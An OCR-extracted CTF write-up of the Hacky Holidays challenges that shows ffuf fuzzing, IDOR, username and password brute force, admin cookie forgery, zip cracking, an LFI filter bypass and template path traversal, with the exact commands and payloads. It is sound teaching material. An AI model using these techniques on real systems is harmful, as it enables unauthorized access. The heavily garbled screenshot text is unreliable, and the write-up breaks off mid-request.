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Initial reconnaissance

Reconnaissance, is very first step of engaging your target and gathering information
about their systems, it involves many different techniques such as:

e Content discovery for hidden endpoints and parameters.

e Checking contents of web pages for hidden comments.

e Analyzing JavaScript files served.

e Enumerating subdomains and finding hidden gems.

e Mapping their network.

e Finding open ports and access points

e |dentify active machines.

e Fingerprinting softwares used e.g operating systems, web servers etc.

e Checking their public code repositories e.g searching on GitHub or GitLab.

After gathering initial information from aforementioned methods, we will engage
target and use the information.

Let’s check our target on https://hackyholidays.hictf.com/

We will do basic ones such as content discovery for hidden endpoints and checking
public code repositories, for content discovery we will be using common.txt wordlist from
SeclLists [1] which could be found on (https://github.com/danielmiessler/SecLists) with
fuzzing tool called ffuf [2] which could be found on (https://github.com/ffuf/ffuf)

Sample syntax:

ffuf -u https://hackyholidays.hlctf.com/FUZZ -w [PATH]common.txt

After some period passed results from web content discovery looks like:


https://hackyholidays.h1ctf.com/
https://github.com/danielmiessler/SecLists
https://github.com/ffuf/ffuf
https://hackyholidays.h1ctf.com/FUZZ

oot@instance-20190910-0255:~# ffuf -u https://hackyholidays.hlctf.com/FUZZ -w ~/Seclists/Discovery/Web_Content/common.txt

JAS Uy | '\
NN NN o N
AW YR § W NP VA U VA W L W RPN

AW W W W VA W W VO W W W W W)

Y Y W W W W W VA i W VA |
AV, NN AV,

vli.1.0

:: Method 1 GET
:: URL 1 https://hackyholidays.hlctf.com/FuzzZ
:: Wordlist : FUZZ: [root/SeclLists/Discovery/Web_Content/common.txt
1: Follow redirects : false
:: Calibration : false
Timeout : 10
:: Threads : 40

:: Matcher : Response s 200,204,301,302,307,401,403

[Status: 200, Size: 5745, Words: 1511, Lines: 95]
[Status: 301, Size: 178, Words: 6, Lines: 8]
[Status: 200, Size: 5426, Words: 10, Lines: 4]
[Status: 200, Size: 2807, Words: 1055, Lines: 77]
[Status: 200, Size: 85, Words: 4, Lines: 3]
:: Progress: [4594/4594] :: Job [1/1] :: 417 req/sec :: Duration: [0:00:11] ::

As we can see there are some directories but interestingly there is robots.txt, which

is used for preventing web crawlers to access some hidden endpoints but still giving a great
idea for attackers to check for.

Let’s view contents of robots.txt by directly visiting it with our browser.

< O B https://hackyholidays.hictf.com/robots.txt

User-agent: *
Disallow: /s3cr3t-ar3a
Flag: flag{48184912-28b@-4945-9995-5203d1261e7]}

Interestingly there is an endpoint /s3cr3t-ar3a which is labelled with disallow tag for
web crawlers, let’s check it as well.

& https://hackyhalidays.h1ctf.com/s3cr3t-ar3

Page Moved

I've moved this page to keep people out!

If you're allowed access you'll know where to look for the proper page!



When we inspect active DOM of the page there is a comment done by developer,
which is mentioning /apps directory which is also find by during our content discovery, but
this points out that directory meant to be hidden as well.

5-9100-4F91- 8454 -CbIS74459F7}" next-page="/apps">

Look for the proper pa

rity="sha384- TcS10ibB27quy S SHFH]OMaLkfubNaZxUPnE 1A71 2nCHNTpGIMGCDBWGHI cPD7Txa" crossorigin="anonymous"»</scripts

When we visit /apps directory, we find out many other endpoints for engaging which
increased our attack surface drastically.



Engaging apps

People Rater

When we visit People Rater app on our browser, it had following contents:

& httpsy//hackyholidays.h1ctf.com/people-rater

Grinch People Rater

Load More

It looks like application gathering more information when user clicks on Load More
button and when user clicks on any name shown, a message box appears with their rating.

Let’s view how application interacts with those functions by analyzing requests send,

for doing this we will be using a proxy tool or developer tools of our browser. | prefer using
Burp Suite [3] for this.

A request sends when we view user profile looks like this:

Request Response
Pretty ‘\n Actions v Select extension.. Raw Rende \n Actions v
1 GET /people-rater/entry?id=seyJpZCIE0X0= HTTP/1.1 1 HTTP/1.1 200 CK
2 Host: hackyholidays.hlctf.com 2 Server: nginx/1.18.0 (Ubuntu)
3 Connection: close 3 Date: Thu, 24 Dec 2020 19:07:54 GMT
4 Accept: application/json, text/javascript, */*; g=0.01 4 Content-Type: application/json
S User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x€4) AppleWebKit/537.36 5 Connection: close
(KHTML, like Gecko] Chrome/B87.0.4280.88 Safari/537.36 Edg/87.0.664.66 ¢ Content-Length: &6
6 X ested-With: XMLHttpRecuest 7

“h-Site: same-origin RN

8 h-Mode: cors "id":"eyIJpICTEOKO=",

g tch-Dest: empty "name":"Vicolet Hussain",
0 Beferer: https://hackvholidays.hlctf.com/people-rater "rating":"Repulsive"

1 Accept-Encoding: gzip, deflate }

Accept-Language: tr,en-U3;qg=0.8,en;q=0.8,en-GE;q=0.7,fr;q=0.€,pt;q=0.5

Sel



User makes request on /people-rater/entry endpoint and on id parameter data send
looks like encoded with base64, when we decode encoded value it appears to be json data

eyJpZCI6OX0=

{"id":9}

So, client sends base64 encoded json data, which looks like potential victim from
insecure direct object reference (IDOR) issue.

Insecure direct object references (IDOR) are a type of access control vulnerability
that arises when an application uses user-supplied input to access objects directly.

For verifying the potential IDOR is in place, we must check currently available
information of users, so we will load more users.

When we analyze request send for loading more users:

[0 \n  Actions v Select extension.. v [[IEag Raw \n  Actions v
1 GET /people-rater/page/2 HTTP/1.1 1 HTTP/1.1 200 CK
2 Host: hackyholidays.hlctf.com 2 Server: nginx/1.18.0 (Ubuntu)
o Date: Thu, 24 Dec 2020 19:15:26 GMT
Accept: application/json, text/javascript, */*; q=0.01 4 Content-Type:

pplicacion/3ison
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd:; xE4) AppleWebKit/537.36 (KHTNL, like Geclko] Chreme/87.0.4280.88 =
Safari/537.36 Edg/87.0.664. 66
MHLHEtpRequest.
ame-origin 8 {

"results”i[
1

eydpZCIEN30=",

¥
kyholidays.hlctt.com/people-rater nign
" "Beatriz Rasmussen”

p, deflate

11 Accept-Encodin .
,en-U5;0=0.9,en;9=0.8, en-GEB; q=0.7, fr; q=0.5, pt; a=0.5 b,

12 Aceept-Language:
"id":"eydpZCIEOHO=",

"name":"Carly Legge"

"id":"eydpZCIEOXO=",
"name":"Violst Hussain"

"id":"eydpZCTENTES",
"nams":"Leonidas Delarosa”

"id":"eydpaCTENTFS",
"name": "Sanya Lancaster"

It appears to be application is loading 5 more users; therefore, we will try to get all
available users, in the end we loaded 16 users and when we view very last user loaded id, it
must be 16.



Request Response
M v actons v seect otension.. v (MY Row Fencr ' Acions Smcmsm. B
GET /people-rater/page/d HTTP/1.1 HTTP/L.1 200

Connection: close
4 Accept: application/json, text/javascript, */*; q=0.01
S User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winéd; x64) AppleWsbKit/537.3¢ (KHTHL, like Gecko) Chrome/87.0.428
Safari/537.3¢ Edg/87.0.624.66
ted-¥ich: XHLHEtpRequest
same-origin

application/3son
S Connection: close

yapzCIeNTas”,

ackyholidays.hlctf.com/people-rater
b harlton Dillon”

Accept-Language:

When we decode eyJpZCI6MTd9, it results as {"id":17} which indicates very first user
must be starting from 2 on actual users, so let’s encode {"id":1} and send to server, it
returns:

Request Response
R \n  Actions v Hackverior v [l Raw Render \n  Actions v

—rater/entry?id=<ibaseEd_D>("id":1}<G/baseid_D> HTTP/L.L 1 HTTB/1.1 200 O

ackybolidays.hlctf. com ngine/1.18.0 {Usuntw
on: close Dec 2020 19:23:31 GHT
: application/Json, text/javascript, */%: g=0.01 pplication/Json
ent: Wozilla/5.0 (Vindows NT 10.0; Wine4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.4280.83 5 Comnection se
Safari/s37.36 £dg/87.0.€64.66 © Conmtent-Length: 135
¢ X-Requested-With: XHLEGPREqUEST 7
same-origin

=mpey
/hackyholidays. hlctr.com/people-rater

Accept-Encodi zip, deflate
> Accept-Language: tr,en-US;q=0.9,en;q=0.6,en-GB;q=0.7,Tr;q=0.8,pt; q=0.5

u, 24

"idn:MeyIpZCTEMKD=",

"name”:"The Grinch',

"rating”:"imazing in svery possible way!",

"flag":"f1ag{b705Eb11-fh55-4421-847£-093 IbeBledda) "
)

So, application was vulnerable to insecure direct object reference which was letting
attacker to gain information which was not publicly available.



Swag Shop

When we visit Swag Shop app on our browser, it had following contents:

3 https://hackyholidays.h1ctf.com/swag-shop

Grinch Swag Shop

Image Coming Soon Image Coming Soon Image Coming Soon

$39.99 $19.99 $395.00

Initial engagement shows that application is requiring some login for purchasing
stuff, when we view traffic send by client via Burp Suite [3], it reveals that there is api
endpoint.

12 httpsy//hackpholidays.hictftcom  POST  fswag-shop/api/purchase v 401 201 JSON Y 1821615332 22:32:43 24 D... 8080
10 httpsi//hackyholidays hictfcom  GET /swag-shop/apifstock 200 326 JSON v 1821615332 2229119 24 D 8080
H https://hackyholidays.hictf.com  GET /swag-shop 200 3593 HTML Grinch Swag Shop v 1821615332 2229118 24 D 8080

So, we will try to find hidden endpoints for api by using ffuf with common.txt again,
with following syntax for catching all requests and excluding nonexistent ones:

ffuf -u https://hackyholidays.hictf.com/swag-shop/api/FUZZ -w [PATH]common.txt -mc all -fc
404




root@instance-20190910-0255:~# ffuf —u https://hackyholidays.hlctf.com/swag-shop/api/FUZZ -w ~/Seclists/Discovery/Web_Content/common.txt -mc all -fc 404

A, Wy S ¥ I'\
VAN Wy W W S AN
AN VPTR R W P VAW VA W W W QPP ¥
A WA R W
|V Y5 U W W A W WY
AV VAV

: GET
: https://hackyholidays.hlctf.com/swag-shop/api/FUZZ
: FUZZ: froot/Seclists/Discovery/Web_Content/common.txt
ollow redirects : false
alibration : false
Timeout : 10
hreads 1 48
atcher : Response status: all
Filter : Response status: 404

[Status: 200, Size: 2194, Words: 1, Lines: 1]
[Status: 200, Size: 167, Words: 8, Lines: 1]
[Status: 400, Size: 35, Words: 3, Lines: 1]
:: Progress: [4594/4594] :: Job [1/1] :: 417 reg/sec :: Duration: [0:00:11] :: Errors: @ ::

It appears to be there is sessions, stock, and user endpoints for GET based requests,
let’s check POST based requests as well with following ffuf syntax

ffuf -u https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ -w [PATH]common.txt -mc all -fc
404 -X POST

root@instance-20190910-0255:~# ffuf -u https://hackyholidays.hlctf.com/swag-shop/api/FUZZ -w ~/SecLists/Discovery/Web_Content/common.txt -mc all -fc 484 -X POST

"N 1"\
P Y W VY i A
AW NPT | U NP VA W VA W W U PR |
YU P U W VA W W VL W O W W W
Y0 V5 UV VL U W VR A W ¥
v AV Vi | \VA

: POST
: https://hackyholidays.hlctf.com/swag—shop/api/Fuzz
: FUZZ: [root/Seclists/Discovery/Web_Content/common.txt
ollow redirects : false
alibration : false
Timeout : 10
: 40
: Response status: all
: Response status: 404

[Status: 400, Size: 35, Words: 3, Lines: 1]
[Status: 401, Size: 33, Words: 5, Lines: 1]

So, fuzzing let us get two more endpoints unknown to us currently which are sessions
and user endpoints.

Interestingly server responded with 400 response initially, which mostly occurs when
parameter is missing on the request.

Let’s check hidden parameters for /api/user endpoint, we will be using following ffuf
syntax for enumerating hidden parameters, since application is returning 400 response
initially, we will be filtering it:

11



ffuf -u https://hackyholidays.hictf.com/swag-shop/api/user?FUZZ=1 -w [PATH]burp-parameter-
names.txt -mc all -fc 400

root@instance-20190910-0255:~# ffuf -u https://hackyholidays.hlctf.com/swag—shop/api/user?FUZZ=1 -w ~/SecLists/Discovery/Web_Content/burp-parameter—names.txt —-mc all —fc 4609

'\

N NN

VAW

AV A N S W O A VA O O N
ALV U U
\Y

Method

URL https://hackyholidays.hlctf.com/swag-shop/api/user? FUZZ=1

Wordlist FUZZ: [root/Seclists/Discovery/Web_Content/burp-parameter-names.txt
Follow redirects : false

Calibration false

Timeout 10

Threads 40

Matcher Response status: all

Filter Response status: 400

uuid [Status: 404, Size: 40, Words: 5, Lines: 1]
:: Progress: [2588/2588] :: Job [1/1] :: 431 reg/sec :: Duration: [0:00:06] :: Errors: i1

It looks like /api/user is having uuid as hidden parameter, guessing uuid values
randomly is very unlikely, since they are a 128-bit number used to identify information

So, let’s view contents of /api/sessions by requesting it as well:

Select extension..

B v acionsv selectoxension. | v [N vaw B S

OET /avag-stiop/api/asasions HTTR/1.1
b

%64) AppleVebKit/537.3¢ (KHTHL, like Gecko) Chrome/87.0.4280.88

b, image/apng, */*;q=0.8, application/signed-exchange; & (

TVdRalpET:

1q0TFavFK:

©
Accept-Encoding.

RLKDWKANA 1 LqSTNaamsyml ZeX.
TIRNAD LUSTVNARVS' TLRjeULED(
o TORSDUSGS|

B3q=0.7, x; q=0. 6, pe;q=0.5

It looks like application is having some misconfiguration and leaking session
information for their users. On leaked information third value looks a bit different, when we
decode it appears to be a valid user information was there:

EZoWTJRM1IGQm1ZVGsOT)RNVPXUTVNY1ETT1dGa0SXRTINakISWm TORrNVptsTRaalpqT Tm 1Wa0 UWTOifQ==

IPEWTINaLpTVAFME TWTNOR1 FATVAFMESETXhNemcy TUdFMVIXL Ipoa 1IXRTNNelUxTWpaakSEZzVNRFEYWTKaFlq

UTM]ZJNDGSMDQ2V2 hVjY3YTFhY2 Q3YjBMYTkAN2QSZWQSMWQS OWFKNWE2MjlyZmZjMzZ[MD Q3 O DKSZmI4ZjZIOWUOOG JhMjwhimy|

{"'user"' CTDCCE-OEODAB-B20226-FCO2EA-183043","cookie”* NDUOODISMmY3ZD! 3NGQXMWEQOD! 1VWRhMTCOY]

12


https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ=1

On decoded data there is uuid and cookie values stored but we do not know that
how application is handling cookie, although we know that /api/user endpoint was having
uuid as hidden parameter.

When we request /api/user?uuid=C7DCCE-OEODAB-B20226-FC92EA-1B9043
endpoint, application is retrieving user information:

Raw params Headers Hex Hackvertor Raw Headers Hex Hackvertor

EESd Raw Render  \n  Actions v

7.36 (KHTML, 1ike Gecko) Chrome/89.0.4346.0

e/apng, */*;9=0..8, application/signed-exchang

This kind of issues are called as improper access control, while insecure direct object
reference is subcategory of improper access control, we are not sure about that if logged in
person is able to view other users’ information.

The improper access control weakness describes a case where software fails to
restrict access to an object properly. A malicious user can compromise security of the
software and perform certain unauthorized actions by gaining elevated privileges, reading
otherwise restricted information, executing commands, bypassing implemented security
mechanisms, etc.

13



Secure Login

When we visit Secure Login app on our browser, it had following contents:

) https://hackyhelidays.hictf.com/secure-login ]

Secure Login

Secure Login

Username:

Password:

At first glance, this was looking like simple login form. When we sent random
username and password, application retrieved following error.

2 https:;//hackyholidays.h1ctf.com/secure-login 2 Y8

Secure Login

Invalid Username

Secure Login

Username:

Password:

That allows any attacker to enumerate valid username on the application, if there is
no rate limit is in present, attackers can retrieve usernames, since no rate limit is in present,
potentially same case happens on password verification as well.

14



Which leads to bruteforce of valid contents, so first we will use following ffuf syntax
which allows us to find for potential usernames.

ffuf -u https://hackyholidays.h1ctf.com/secure-login -X POST -d
"username=FUZZ&password=password" -H "Content-Type: application/x-www-form-urlencoded"
-w [PATH]names.txt -fr “Invalid Username”

root@instance-20190910-0255:~# ffuf -u https://hackyholidays.hlctf.com/secure-login -X POST -d "username=FUZZ&password=password" —-H "Content-Type: application/x-www-form-urlencoded
" w Seclists/Discovery/Web_Content/names.txt —fr "Invalid Username"

A Sy L | /'
NN NN o NN
| VRPN, W WP VA W ¥/ W W W VPO |
AT A S W S WA WA N O W W WY
|0 V5 G W W G N VY A Y WA
AV NN \/_/

: POST
: https://hackyholidays. hlctf.com/secure-login
: FUZZ: Seclists/Discovery/Web_Content/names.txt
: Content-Type: application/x-www-form-urlencoded
: username=FUZZ&password-password

Follow redirects : false

Calibration

: Response status: 200,204,301,362,307,401,403
: Regexp: Invalid Username

: 200, Size: 1724, Words: 464, Lines: 37]
:: Progress: [10177/16177] :: Job [1/1] :: 467 req/sec :: Duration: [0:00:25] :: Errors: @ ::

It looks like we were able to find a valid username access, now let’s see what kind
error occurs when we try to login with that username.

9 https://hackyholidays.h1ctf.com/secure-login e &

Secure Login

Invalid Password

Secure Login

Username:

Password:

So, application returns Invalid Password error now, we will be using same ffuf syntax
with a bit change.

15



ffuf -u https://hackyholidays.hictf.com/secure-login -X POST -d "username=access&password=FUZZ" -
H "Content-Type: application/x-www-form-urlencoded" -w [PATH]names.txt -fr “Invalid Password”

It appears to be no rate limit is in present for login attempts with valid username.

root@instance-20196910-0255:~# ffuf —u https://hackyholidays.hlctf.com/secure-login —X POST -d "username=accesskpassword=FUZZ" —H "Content—Type: application/x-www—form-urlencoded
-w Seclists/Passwords/10_million_password_list_top_10000.txt —fr "Invalid Password"

NN NN NN

AR L R VA VAN WA VA

ANV U R W A A A R
\ v\ \

VRV

https: //hackyholidays.hictf.com/secure-login

FUZZ: Seclists/Passwords/10_million_password_list_top_10000.txt
Content-Type: application/x-www—form-urlencoded
username=access&password=FUZZ

false

Wordlist

Header

Data

Follow redirects
Calibration
Timeout

Threads

Matcher Response status: 200,204,301,302,307,401,403
Filter Invalid Password

: 0, Words: 1, Lines: 1]
Progress: [10000/10000] Job [1/1] 416 req/sec Duration: [0 ]

So, we were able to find password for our user, let’s login with the credentials. It
looks like our user is lacking some permissions.

1 /hackyholidays.h1ctf.com/s 8
Secure Files
No Files To Download
Let’s analyze how application is handling our session, so let’s check initial login
process.
—
@w Pparams Headers Hex Hackvertor Raw Headers Hex Hackvertor
precry [EHD \n Actions v BBl Rew Render  \n Actions v
1 POST /secure-login HTTP/1.1 ~ 1 HTTP/1.1 302 Found
2 Host: h;ckyhoﬁaays.mctf.com 2 ngi .
B ose u, 2 2
ype:_text/html; d
6 et SecuﬁeWog]n, 33b29r aWUi09TxY 3V INWYyYZ 1 kNThhMzBhZ JRIMTZRNZF hNDVKMDE 343 Ts ImFkblW1uT jpmyWxzZX0%3D; expir

ocation: /secure-Togin
8 Content-Length: 0

1C

6 Accept-Encoding: g
7 Accept-Language: tr,el

n3q=0.8,en-GB;q=0.7,fr;0=0.6,pt;5=0.5

) username=access&passwor d=computer

16



It appears to be application is setting cookie with securelogin parameter, value from
parameter looks like encoded with base64. Let’s decode it.

eylib29raWUIOIXY] yY2kNThhMzBhZIRIMTZt fipr |

{"cookie":"1bSesf2cod58az0af4e16a71a45d0172", "admin" false}

Decoded data is showing that application is using json data with cookie and admin
parameters, ironically value for admin is set as false, most applications failing to verify user
session and trusting permissions stored on cookies. So, we will try to alter value for admin
parameter and set it as true to see if application is vulnerable to it.

3w Pparams Headers Hex Hackvertor Raw Headers Mex Hackvertor
o R v Acns ety R T
LGET /secure-Togin HTTP/ 1 HTTP/1.1 200 of

Foret Roekyha] uays MLt con 2 Server: ngmx,l 18,0 (buncy)
3 Date: Thu, 24 D 2020_21:34:15 GMT

>

4 Content-Type: taxt/ﬁtrﬂ charset=UTF-8
5 Connection: clos
¢ Content-Langth: 1605

5 Sec-rorch tode ate
0 Sec-retch-Us
1 Sec-rerchopast; Socument

cferar: https: [/hackyhel idays it con/secure-Togin
3 Accept-Encoding: gzip
4 Accept-Language:

Cookis: securelogin

Jbootstrap.min.css' integri

2", "admin" rtrue;

</divs
20 hi class="text-center ">
Secure Login
</ l>

Fﬂ; Name

29 Pt T -
File Type

30 <th_dass: “text-center”s

not_for _you.zip">my_secure_files_not_for_you.zip</a>

So, when we send an altered version of our cookie, application responded with
different contents and now having link for a zip file. Let’s download and check contents of it.

root@instance-20190910-0255: /tmp# wget https://hackyholidays.hlctf.com/my_secure_files_not_for_you.zip
—-2020-12-24 21:3 ~  https://hackyholidays.hlctf.com/my_secure_files_not_for_you.zip

Resolving hackyholidays.hlctf.com (hackyholidays.hlctf.com)... 18.216.153.32

Connecting to hackyholidays.hlctf.com (hackyholidays.hlctf.com)|18.216.153.32]:443... connected.

HTTP request sent, awaiting response... 208 OK

Length: 215500 (210K) [application/zip]

Saving to: ‘my_secure_files_not_for_you.zip’

my_secure_files_not_for_you.zip =>] 216.45K 569KB/s  in 6.4s

-12-24 21:36:04 (569 KBfs) — ‘my_secure_files_not_for_you.zip’ saved [215500/215500]

root@instance-20190910-0255: /tmp# unzip my_secure_files_not_for_you.zip
Archive: my_secure_files_not_for_you.zip
[my_secure_files_not_for_you.zip] xxx.png password:

17



As expected, zip file is also password protected, however we can try to bruteforce it
by using fcrackzip [4] (https://github.com/hyc/fcrackzip) with mighty rockyou.txt.

Our syntax will be like following:

fcrackzip -u -D -p [PATH]rockyou.txt my_secure_files_not_for_you.zip

root@instance-20190910-0255: /tmp# fcrackzip -u D -p ~/SecLists/Passwords/rockyou.txt my_secure_files_not_for_you.zip

We were able to find password for the file, now let’s view contents of it again.

root@instance-20190910-0255: /tmp# unzip my_secure_files_not_for_you.zip
Archive: my_secure_files_not_for_you.zip
[my_secure_files_not_for_you.zip] xxx.png password:

inflating: xxx.png

extracting: flag.txt
root@instance-20190910-0255: /tmp# cat flag.txt
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2bo04}

We chained multiple vulnerabilities such as:

e No rate limit on login process
e Improper access control with relying cookies for user permissions
e Weak password policy on sensitive file

Which allowed us to retrieve and gain information on sensitive file.
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https://github.com/hyc/fcrackzip

My Diary

When we visit My Diary app on our browser, it had following contents:

C @ https://hackyholidayshctfcom % @ & ® = @& £ @
15t Dec 2020 2nd Dac 2020 ard Dac 2020 4th Dec 2020 5th Dac 2020 6th Dec 2020
wialiow In seff pity
Tth Dec 2020 8th Dec 2020 8th Dec 2020 10th Dec 2020 11th Dec 2020 12th Dec 2020
solve W unger { tel
el)
13th Dec 2020 141h Dec 2020 15th Dec 2020 16th Dec 2020 7th Dec 2020 18th Dec 2020

e infa the abyss

On initial check, it looks like application is loading file called entries.html with
template parameter. Which looks like local file inclusion vulnerability is in present.

We will modify value of template parameter to index.php to force application to load
its own source to see if application just reading file with function like file_get_contents
which is just plain reading or using functions like include, include_once or require which are
used for executing contents of it as a part of the application.

Let’s send request on /my-diary/?template=index.php and see how application is
responding.

hp HTTP/1.1
NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0
ml+xm1,application/xnl;q=0.9, image fwebp, inage/apng, */*;=0.8 , application/s i gned-exchan

2 Spaged;
com/apps

n;q=0.8,en-G839=0.7, r;4=0..6,pt;=0.5

iary/?template=entries.html");

't to home
r('Location: /my-diary/?template=entries.htn]");

It appears to be application is just reading file contents and having basic control to
prevent attackers to load admin.php and secretadmin.php files.
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Meanwhile application is failing to check properly, due to just using str_replace for
each at once and not checking final result of replaced version prior using file_get_contents.

This would let attacker to bypass controls in check with using following sample
secretadminsecretadminadmin.php.php.php, let’s send request to application for using this
value for template parameter.

Respons:
Raw Headers Hex Hackvertor
EESH Row Render \n  Actions v
~ | 1Treria 200 o

/1.18.0 (Ubu
Dec 2020_21;
t/htm1;

nt-Length: 1780

_SERVER["REMOTE_ADDR"] == '127.0.0.1' ){
tml>
en">

We were able to bypass built-in checks on application and able to load
secretadmin.php, it appears to be application also had IP address control for preventing
remote users to access contents of secretadmin.php and we were able to bypass it.

By chaining local file inclusion and improper input validation vulnerabilities,
attackers might be able to gain sensitive information of the system.

Local file inclusion (also known as LFI) is the process of including files, that are
already locally present on the server, through the exploiting of vulnerable inclusion
procedures implemented in the application. This vulnerability occurs, for example, when a
page receives, as input, the path to the file that must be included and this input is not
properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be
injected. Although most examples point to vulnerable PHP scripts, we should keep in mind
that it is also common in other technologies such as JSP, ASP and others.

Input validation is a frequently used technique for checking potentially dangerous
inputs in order to ensure that the inputs are safe processing within the code, or when
communicating with other components. When software does not validate input properly, an
attacker is able to craft the input in a form that is not expected by the rest of the application.
This will lead to parts of the system receiving unintended input, which may result in altered
control flow, arbitrary control of a resource, or arbitrary code execution.



Hate Mail Generator

When we visit Hate Mail Generator app on our browser, it had following contents:

& https;//hackyholidays.h1ctf.com/hate-mail-gensrator s ®

ETWORKS

Previous Campaigns + Create New

Campaign Name Date Sent Opens Clicks Unsubscribes

Guess What 12M11/2020 11:33 25 0 10

It looks like application used for some campaign mails, let’s visit Guess What
campaign first.

) https://hackyholidays.hictf.com/hate-mail-generator/91d45040151b681549d82d8065d43030 s ® @ & B

ETWORKS

Campaign

Campaign Info [ @ Preview |
Name:
Guess What
Subject:
Guess What...
Markup:

{{template:cbaj3_grinch_header.ntmi}} Hi {{namej}..... Guess what.....
<strong>YOU SUCKI</strong>{{template:cbdj3_grinch_footer.htmi}}

So, application is using some template engine, let’s view it.

8] https://hackyholidays.h1ctf.com/hate-mail-generator/91d45040151b681549d82d8065d43030/preview

Message From The Grinch!

Hi Bob..... Guess what . YOU SUCK!

&

Grinch Networks Inc.
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As guessed application is using template engine and generating contents depending
the user inputs. So, let’s create our template and preview it.

1 httpsy//hackyholidays.h1ctf.com/hate-mail-generator/n

New Campaign

Name:
test
Subject:
test

Markup:

New Campaign

Hello {{name}} ...

Test 123

Our template looks like this and when we preview.

C @

. Test 123

B https:

Hello Alice ...

So, application generated Alice as
request send to the server.

Request

Raw Pparams Headers Hex Hackvertor

pratty \n

1 PoST /hate-majl-generator /new/preview HTTP/L.1
2 Host: hackyholidays hlctf. com

3 Connection: close

4 Content-Length: 139

5 Cache—Control: max-age=0

6 Upgrade-Insecure-Requests

Actions v

origin: https: //hackyhohdays hilctf.com

& Content-Type: H;hcatwn/x www—form-ur lencoded

9 User-Agent: Mozilla/5.0 (Windews NT 10.0; Win&4; x64) ApplewebKit/537.36 (KHTML,
Safaﬂ?ﬂ? 36 Edg/89.0.731.0

10 Accept
text/htm'\ apphcatwn/xhtmnxm] application/xml;g=0.9, image/webp, image/apng, *
e;val =0.9

11 Sec-Fefch-Site:
12 Sec-Fetch-Mod
13 Sec-Fetch-Ussi
14 Sec-Fetch-Das
15 Referer: http:
16 Accept-Encoding:
17 Accept-Language:
18

19 preview_markup=HelTo+%7B%7Bname%7D%70+ . . . .%00%0ATest+12 3&preview_data=

578502 name2 2%34%2 2411 ca¥2 2%2CH2 Zema’ 1%23%3A%2 2 a1 ce%40tast . com¥22%7D

samg-origin

hackyhold days . hlctf. com/hate-mail-gener ator /naw
gzip, deflate
tr,en-Us;q=0.9,en;0q=0.8,en-GB;q=0.7,fr;g=0.6,pt;q=0.5

‘hackyhaolidays.h1ctf.com/hate-mail-

#;4=0.8, appTication/signed-exchang

jenerator/nev

our name and totally ignored our input, let’s view

Response

Raw Headers Hex Hackvertor

Raw Render

1 HTTP/1.1 200 OK
Server: nginx/1.18.0 (ubuntu)

Date: Thu, 24 Dec 2020 22:29:41 GMT
Content-Type: text/html; charset=UTF-8
Connectioh: clese

Content-Length:

\n o Actions v

o B

Hello Alice ....
Test

oo

Tike Gecko) Chrome/89.0.4346.0
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On preview_data parameter there is json data as url encoded and sub parameter
name is having value as Alice. So, application is trusting user supplied data on preview_data,
but this is not enough.

On Guess What campaign there was {{template:cbdj3_grinch_footer.html}} which
was forcing application to load some templates. Let’s try loading some local file with path
traversal.

Raw  Params Headers Hex Hackvertor Raw | Headers Hex Hackvertor

g Row Render \n  Actions v

ok
/1.18,0_(ubuntu

review HTTP/1.1
m )
ec 2020 22:34:55 GMT
xt/html; char

o
te: set=UTF-8
nnection: close
ntent-Length: 60
f.com
m-ur lencode 8 Cannot find template file ftemplates/.............. etcpassud

i—fors d
s NT 10.0; Win64; xB4) Applewebkit/537.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0

emlxm1, application/xm1;q=0.9, inage/webp, inage/apng, */*; q=0.8, appi cation/signed-exchang

ays .hlctf . com/hate-mail-generator /new
0.7,fr;q=0.6,pt;q=0.5

AL %2F . 2F . K2F . %2F. .%2F. K2F . %2Fetck2Fpasswdk7D%7D&
a1 1%22%3A%224711 ce%dOtest . com%22%7D

It looks like application is sanitizing / character to prevent path traversal but revealed
that it was reading data from templates folder.

When we visit templates endpoint, there are few files and
38dhs_admins_only_header.html file is totally new to us, since other two was used on

Guess What campaign.
< C [ (3 https://hackyholidays.h1ctf.com/hate-mail-generator/templates/

=

Index of /hate-mail-generator/templates/

3

cbdj3_grinch_header.html 20-Apr-2020 12:00 -
cbdj3_grinch_footer.html 20-Apr-2020 12:00 -
38dhs_admins_only_header.html 21-Apr-20820 15:29 46

When we check 38dhs_admins_only_header.html, our access is denied by
application.

B https://hackyholidays.h1ctf.com/hate-mail-generator/templates/38dhs_admins_only_header.htm %
403 Forbidden

nginx/1.15.8

Let’s try to load it with template.
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Raw params Headers Hex Hackvertor

ty \n o Actions v

Prett

1 POST. /hate-nai|-gener ator /new/preview HTTP/1.1 A

2 Host: hackyholidays. hictf

6 c es
oFain: hipcs ,/,/h?ckyhowwaays hlctf.c

8 Content-Type

Cxtion/ s wwi-fornourencoded

9 User-Agent: Moz 11a/5.0_ (Windows N1 10.05 Winga; x64) AppleMebkit/S37.36 (KHTML, like Gecko) Chrome/89.0.4346.0

fari/537.36 Edg/89.0.731.0

e
11 sé ~Site: same-origin
12 Sec-Fetch-tode: navigate
13 Sec-Fetch-User:

13 Sec-retch.est: doament

17 Accept-Language: r.o

18

19 previennarkupsellon7
preview_data=%

1, agp ication/xhtml 1 application/am =09, inage/webp, inage/ apns, */*
=0.9

0.8, application/signed-exchang

.7,Fr;020.6,pt;9=0.5

admins_only_header . htm1%70%7

emp] atek3A38dhs_
3A%: ‘hca%AOtaSt com$22%7D

Raw Headers Hex Hackvertor
B0 Row Render \n  Actons v

1 HTTP/1.1 200 oK .
ver: nginx/1.18.0_ (Ubuntu)

ate: Thu, 24 Dec 2020 22:39:50 GUT

nent Tpe: text /bl charset-Ure-g

nnection: clos

tent-Langth: 64

8 You do not have access to the file 38dhs_adnins_only_header.html

It appears to be we cannot use it on preview_markup parameter, since application is
ignored our input for name totally and used Alice from preview_data parameter, we can try
to trick application with altering Alice to {{template:38dhs_admins_only_header.html}}. If
application is having double object reference, we will be able to load file and bypass access

control.

Raw Pparams Headers Hex Hackvertor

\n  Actions v

1 POST Jhate-pa1-generator /new/previe WTTP/1.1

2 Host: hackyholidays .hlctf

0
L1537 36 Edg/29.0.751.0

2: same-origin
de: naviate

